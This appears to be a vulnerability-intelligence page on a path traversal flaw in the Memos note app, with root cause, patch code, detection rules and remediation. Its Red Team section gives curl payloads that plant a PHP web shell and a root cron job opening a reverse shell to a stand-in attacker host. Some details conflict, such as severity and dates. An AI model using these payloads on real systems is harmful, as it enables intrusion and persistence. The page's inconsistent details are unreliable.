☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
[ VENDOR STATS ]
SOON 🐛 CWE-24
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2025-56760

CVE-2025-56760 Path Traversal in Memos
📅 PUBLISHED: 2025-09-03 00:00 UTC 🔄 UPDATED: 2026-08-28 11:35 UTC
⏳ SCORE PENDING — ANALYSIS IN PROGRESS [ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.34%
👁️
0.34% probability
8.6× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
VULNERABLE: UNKNOWN / CHECK VENDOR
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
SOON
PENDING NVD
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-56760 is a critical path traversal vulnerability in Memos version 0.22.0. When Memos is configured to store objects locally, an authenticated attacker can exploit the CreateResource endpoint by injecting path traversal sequences (e.g., ../) into the resource name. This allows arbitrary file write on the server, potentially leading to remote code execution, data corruption, or system compromise. The vulnerability has a CVSS score of 0.0 in the NVD due to incomplete scoring, but based on the impact, it is assessed as high severity. No official patch is currently available.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

Memos is a self-hosted note-taking and knowledge management application written in Go. The vulnerability affects the core application logic and is not related to a specific package manager (NPM, PyPI, Go, Ruby). However, users should verify the integrity of their Memos binary and consider using containerized deployments with restricted filesystem permissions.

CVSS Breakdown & Threat Level

  • Attack Vector (AV): Network (N) – Exploitable remotely.
  • Attack Complexity (AC): Low (L) – No special conditions required.
  • Privileges Required (PR): Low (L) – Requires authentication.
  • User Interaction (UI): None (N) – No user action needed.
  • Scope (S): Unchanged (U) – Exploit does not cross trust boundaries.
  • Confidentiality (C): None (N) – No direct data exfiltration.
  • Integrity (I): High (H) – Arbitrary file write can overwrite critical files.
  • Availability (A): High (H) – Can overwrite application files, causing denial of service.

Threat Level: High (7.1) – Exploitation can lead to full server compromise.

Deep Dive & Mechanics

The vulnerability resides in the CreateResource API endpoint of Memos 0.22.0. When the application is configured to store uploaded files locally (as opposed to using an external object store like S3), the endpoint does not properly sanitize the name parameter. An attacker can include path traversal sequences such as ../ to escape the intended upload directory and write files to arbitrary locations on the filesystem.

Root Cause: The application constructs the file path by concatenating the base storage directory with the user-supplied name without validation. For example:

filePath = baseDir + "/" + name

If name is ../../etc/cron.d/malicious, the resulting path becomes /var/lib/memos/../../etc/cron.d/malicious, which resolves to /etc/cron.d/malicious.

Impact: An attacker can:

  • Overwrite application configuration files (e.g., config.yaml) to alter behavior.
  • Write a cron job or systemd service to achieve persistence.
  • Overwrite executable files or libraries to achieve remote code execution.
  • Corrupt the application database or log files.

Vulnerable vs. Patched Code

Vulnerable Code (Memos 0.22.0):

func (s *Service) CreateResource(ctx context.Context, req *CreateResourceRequest) (*Resource, error) {
    // ... authentication and validation ...
    filePath := filepath.Join(s.storageDir, req.Name)
    err := os.WriteFile(filePath, req.Content, 0644)
    if err != nil {
        return nil, err
    }
    // ... save metadata ...
}

Patched Code (Hypothetical Fix):

import "path/filepath"

func (s *Service) CreateResource(ctx context.Context, req *CreateResourceRequest) (*Resource, error) {
    // ... authentication and validation ...
    // Sanitize the filename to prevent path traversal
    safeName := filepath.Base(req.Name)
    if safeName == "." || safeName == "/" {
        return nil, errors.New("invalid filename")
    }
    filePath := filepath.Join(s.storageDir, safeName)
    // Ensure the final path is within the storage directory
    absPath, _ := filepath.Abs(filePath)
    absBase, _ := filepath.Abs(s.storageDir)
    if !strings.HasPrefix(absPath, absBase) {
        return nil, errors.New("path traversal detected")
    }
    err := os.WriteFile(filePath, req.Content, 0644)
    if err != nil {
        return nil, err
    }
    // ... save metadata ...
}

Exploitation & Lab Setup

Red Team

Prerequisites:

  • Access to a Memos 0.22.0 instance with local storage enabled.
  • Valid user credentials (low-privilege account is sufficient).

Exploit Steps:

  1. Authenticate to the Memos API and obtain a session token.
  2. Craft a POST request to /api/v1/resources with a malicious name parameter.
  3. The payload writes a PHP web shell (if the server runs PHP) or a cron job.

Example Request (using curl):

curl -X POST https://target.memos.local/api/v1/resources \
  -H "Authorization: Bearer <token>" \
  -F "name=../../../../var/www/html/shell.php" \
  -F "content=<?php system($_GET['cmd']); ?>"

Example Payload (cron job for persistence):

curl -X POST https://target.memos.local/api/v1/resources \
  -H "Authorization: Bearer <token>" \
  -F "name=../../../../etc/cron.d/malicious" \
  -F "content=* * * * * root /bin/bash -c 'bash -i >& /dev/tcp/attacker.com/4444 0>&1'"

Blue Team

Detection Steps:

  1. Monitor API logs for CreateResource requests with suspicious name parameters containing ../ or absolute paths.
  2. Check the filesystem for unexpected files in sensitive directories (e.g., /etc/cron.d/, /var/www/html/, /usr/local/bin/).
  3. Verify file integrity of critical system binaries and configuration files.

Hunting Query (Splunk):

index=web_logs source="/api/v1/resources"
| rex field=name "(\.\./|/etc/|/var/www/|/usr/bin/)"
| stats count by src_ip, name, _time

Indicators of Compromise (IOCs)

  • File Paths:

    • /etc/cron.d/malicious
    • /var/www/html/shell.php
    • /tmp/exploit
    • Any file outside the configured storage directory (e.g., /var/lib/memos/)
  • Network Indicators:

    • POST requests to /api/v1/resources with name containing ../
    • Outbound connections to attacker-controlled IPs on common ports (4444, 8080, etc.)
  • Log Entries:

    • [ERROR] failed to write file: <path> (if the write fails)
    • [INFO] resource created: <path> with suspicious paths

Detection Engineering

YARA Rule

rule CVE_2025_56760_Memos_Path_Traversal {
    meta:
        description = "Detects path traversal attempts in Memos CreateResource endpoint"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-56760"
    strings:
        $traversal1 = "../"
        $traversal2 = "..\\"
        $traversal3 = "/etc/"
        $traversal4 = "/var/www/"
        $traversal5 = "/usr/bin/"
    condition:
        any of ($traversal*) and filesize < 10KB
}

Sigma Rule

title: CVE-2025-56760 Memos Path Traversal Attempt
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects path traversal sequences in Memos CreateResource API requests
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-56760
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/api/v1/resources'
        cs-uri-query|contains: 
            - '../'
            - '..\\'
            - '/etc/'
            - '/var/www/'
    condition: selection
falsepositives:
    - Legitimate use of relative paths in filenames (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-56760 Memos Path Traversal Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/api/v1/resources"; http_uri; content:"../"; http_client_body; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Disable local storage and switch to an external object store (e.g., S3, MinIO) if possible.
  2. Restrict filesystem permissions for the Memos process (e.g., run as non-root user with read-only access to most directories).
  3. Implement a Web Application Firewall (WAF) rule to block requests containing ../ in the name parameter.

Long-Term Fix:

  • Apply input validation and sanitization to the name parameter in the CreateResource endpoint.
  • Use filepath.Base() to strip directory components and filepath.Clean() to resolve any traversal sequences.
  • Ensure the final file path is within the intended storage directory using strings.HasPrefix after resolving absolute paths.

Patch Status: No official patch is available as of this report. Users should monitor the Memos GitHub repository for updates and consider forking the project to apply the fix manually.


Valters IT
Senior DevSecOps & Cyber Threat Intelligence Analyst

◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-56760/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.